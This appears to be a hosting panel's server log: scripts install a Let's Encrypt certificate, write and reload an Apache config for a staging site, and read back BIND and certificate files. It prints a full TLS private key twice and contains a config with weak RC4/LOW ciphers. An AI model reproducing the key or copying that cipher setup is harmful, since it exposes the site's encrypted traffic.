8JnKZ+oRkjfWeSKI1ukvrmUnxvLxi0GdHHqjIUiaYJLSq78RLyUqKK4KAM+/8zTO
39D4TgLcXVVzEbqTXX3DHEtVnpY0omcB/xRisnA4sX7W2l7XOJuI+qglAoGAGXwy
JQ/k3Dl9WNZxYLBII0AQ7nUDvfFq/ALaHOit4U1aPAc+XZQ1UfydQ+M2dx2YCzwL
4H5FKK1q2KuaT4w5WzcZ2rDGNPg0Tb4dKR/bNGoOvwhD3eBbdAmeQrUNJiYWcQu3
d2YBMgXN0fch7HLPyXBCHI9jlz3wc0eHZuO+Y4ECgYEAmgksdjBhsAIL90qHLmQV
FUO107jw6c1EjSeeKT3T3OHBZ60SZSs2Ocwbq5TvX6TeGdQgr9+9nnIBMGTdCvKF
v66Swwx+R3CpOy98PNrT0OnXTx5k2QP3hyMRfYYgexfnDQO4Kr2tuBAPcu4qYcVF
kL5vbD76CoiphbtB/SJmKmA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-03 15:01:45:
chmod 755 /tmp/pkp891133; /tmp/pkp891133; rm /tmp/pkp891133
2025-10-03 15:01:46:
dir=/etc/ssl/certs
2025-10-03 15:01:46:
PUT: /tmp/pkp440008
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-03 15:01:46:
chmod 755 /tmp/pkp440008; /tmp/pkp440008; rm /tmp/pkp440008
2025-10-03 15:01:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-10-03 15:01:46:
PUT: /tmp/pkp499204
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi
2025-10-03 15:01:47:
chmod 755 /tmp/pkp499204; /tmp/pkp499204; rm /tmp/pkp499204
2025-10-03 15:01:47:
2025-10-03 15:01:47:
PUT: /tmp/pkp982119
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-03 15:01:47:
chmod 755 /tmp/pkp982119; /tmp/pkp982119; rm /tmp/pkp982119
2025-10-03 15:01:47:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-03 15:01:47: Establishing a connection
2025-10-03 15:01:48:
PUT: /tmp/pkp480977
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-03 15:01:49:
chmod 755 /tmp/pkp480977; /tmp/pkp480977; rm /tmp/pkp480977
2025-10-03 15:01:49:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-03 15:01:49:
PUT: /tmp/pkp636908
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 15:01:50:
chmod 755 /tmp/pkp636908; /tmp/pkp636908; rm /tmp/pkp636908
2025-10-03 15:01:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 1323
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/stage_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/stage_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-03 15:01:50:
PUT: /tmp/pkp400407
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-03 15:01:51:
chmod 755 /tmp/pkp400407; /tmp/pkp400407; rm /tmp/pkp400407
2025-10-03 15:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt 5381
40:b1:b6:14:ac:cd:df:61:11:31:93:ae:c9:d9:ca:b9
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBl1qPknw54Nq9T58F8z2EPbqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMTQwMzExWhcNMjYwMTAxMTQwMzEwWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDKNA8JFruzKhRPXkEp8bWv+pKt0itytSaOVbjbnyQL0xSR
L9S5whBoC4Rwv1dhea5hrVGZFxbafHF9m5axeTYhWHR3od/Hv7blERGkBgcJj9zN
8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/gZrFyu2BXy0gHxHFZMq/29lK48IdLCUy
aagohnD6Kav6rOG0e/VegD2XJRHBcO7WOOpj7zNs5BUaybnj50usufq6G44S41xG
OewIj58RjBVpTWYADWWrR/2I2JTOZZmHhC1bFHARNEHTGNJlTDwbTX6XXxD3mSBi
MEM9tD0X3mJLks+a3yltmMD0FPnHaQKf9mwqEPIXAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFNsDsyqYFmbn7c3dBDA2CzpsHKXRMB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1w
QS0lTMfUAAABmaqX1vgAAAQDAEYwRAIgceXu4jPytDP3hT1po1ruSOaVCnhbHhvQ
LAncZiG4eF0CIHdmGf6SRs+vJldbInKnjKQSjeGI3d5T6mBDBKuP2vk/AHYADleU
vPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZqpfW7gAABAMARzBFAiEA
i8IlV+ygxew+LIhH45K/SSIPXzb3NvLH9WQ/CJXmzIACIAjEeJmUp/Ypt6XiUftM
ZVhRtOYIgtNS+qJS4bfkby0iMA0GCSqGSIb3DQEBCwUAA4IBAQA9eLt/6kwSteDQ
5KO5aKLIKSXdNVPihWmFfbBcVFfnYXv/XvjvJhEmPnscDaRilNoBAdtvGJf6elYm
4jmqErBwZuljuqpY/rxiHrJ81kkLJ0VoJ/F+SZxxx07tgsV66036oemcUhkNNWoF
IiidbnFlkhXU26RrVveVJ5SFwC/zwEshVLmBE6s9JKFN6k274Frm0BATU5xhKcAA
LqudHrKADKILvp84Q6cpEVt0tSUwX7nnzty1Zz1UXQX1HzNlUOh4yojr8N6Xq/i2
ie32s+YWvlC2AvUzeS/1S1SJpjcJCjOR1hqVeFPU+VHSKUmzEep/pMbZ4Rm0czui
2m3qOmx+
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKNA8JFruzKhRP
XkEp8bWv+pKt0itytSaOVbjbnyQL0xSRL9S5whBoC4Rwv1dhea5hrVGZFxbafHF9
m5axeTYhWHR3od/Hv7blERGkBgcJj9zN8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/
gZrFyu2BXy0gHxHFZMq/29lK48IdLCUyaagohnD6Kav6rOG0e/VegD2XJRHBcO7W
OOpj7zNs5BUaybnj50usufq6G44S41xGOewIj58RjBVpTWYADWWrR/2I2JTOZZmH
hC1bFHARNEHTGNJlTDwbTX6XXxD3mSBiMEM9tD0X3mJLks+a3yltmMD0FPnHaQKf
9mwqEPIXAgMBAAECggEABd1+tifHqAnHbwnv3/SX7ZPaH1qiUgB5LtXDt/Mky4cC
6Lc3d2/uo+X5oH+cXEJ4UXMCk+s8iXfknt0dgOZgMJVtQ28Zm6Su/HQDS/u0xo06
vWqKjEI1oxWpRA++gWfeS+5tLY/pDOn5ycWLpMMfIoqNN4pPLKegzfHlmquCnO/2
m7vCcbFC4Z0fYfblvFe64x5DrPCpMhS59t+vMXSxNM+gJ2onCwvxAyqhfrKelc3f
nI9ab6r1/j4tVY7nznpxZe3I+bM/ikjFmCk2WWnodJ0UDqrnm7EE62h7akumqIz3
Scc9qWO7PEGYAcIS7E0qN4o29B4wXF9nkZfVSbxL+QKBgQD75+ybF2zpqrzEud8N
n7RZqtNYxn18EK2Qu7FLn2ZKHnAYNBqMldGupzkUsgDmTpCSMRtlHs3uw+MEbR74
XngJ/muduAYsjiP06zKtsZDbpUhvpmZ444XPVh7U3TLui0t9hkijjnDu5GrJOP6L
6F1er549m38e7sRUzfYF6fINzQKBgQDNfVe5g1YNDOZfXQvQrqPkCbTd62hoejvj
NRs0f1T5zXc5ftDIJODzdmbRpyEUyg1hY3/kGV/3g6N3ot2UXQE9/6feESmA9TSY
xOD73+Jm+AlbbvUbWHuaXUz8k6Yl5bAZQ8uwTF17Llt1EcKh6bVMmY+Fly+UNKbX
brLZC0C7cwKBgBU6l1r+n2QVynC9xUltoxJHbiY2HA8fjLD80FUyKrmmVQYFJhOg
8JnKZ+oRkjfWeSKI1ukvrmUnxvLxi0GdHHqjIUiaYJLSq78RLyUqKK4KAM+/8zTO
39D4TgLcXVVzEbqTXX3DHEtVnpY0omcB/xRisnA4sX7W2l7XOJuI+qglAoGAGXwy
JQ/k3Dl9WNZxYLBII0AQ7nUDvfFq/ALaHOit4U1aPAc+XZQ1UfydQ+M2dx2YCzwL
4H5FKK1q2KuaT4w5WzcZ2rDGNPg0Tb4dKR/bNGoOvwhD3eBbdAmeQrUNJiYWcQu3
d2YBMgXN0fch7HLPyXBCHI9jlz3wc0eHZuO+Y4ECgYEAmgksdjBhsAIL90qHLmQV
FUO107jw6c1EjSeeKT3T3OHBZ60SZSs2Ocwbq5TvX6TeGdQgr9+9nnIBMGTdCvKF
v66Swwx+R3CpOy98PNrT0OnXTx5k2QP3hyMRfYYgexfnDQO4Kr2tuBAPcu4qYcVF
kL5vbD76CoiphbtB/SJmKmA=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-03 22:11:09: Establishing a connection
2025-10-03 22:13:04: Establishing a connection
2025-10-03 22:13:04:
PUT: /tmp/pkp486583
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-03 22:13:05:
runuser -l bind -s /bin/bash -c '/tmp/pkp486583; rm /tmp/pkp486583'
2025-10-03 22:13:05:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
